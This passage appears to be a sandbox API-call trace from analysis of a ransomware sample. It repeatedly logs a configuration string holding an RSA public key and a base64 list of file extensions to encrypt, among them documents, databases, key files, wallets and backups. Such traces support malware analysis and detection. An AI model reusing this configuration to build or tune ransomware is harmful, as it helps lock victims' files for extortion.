LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR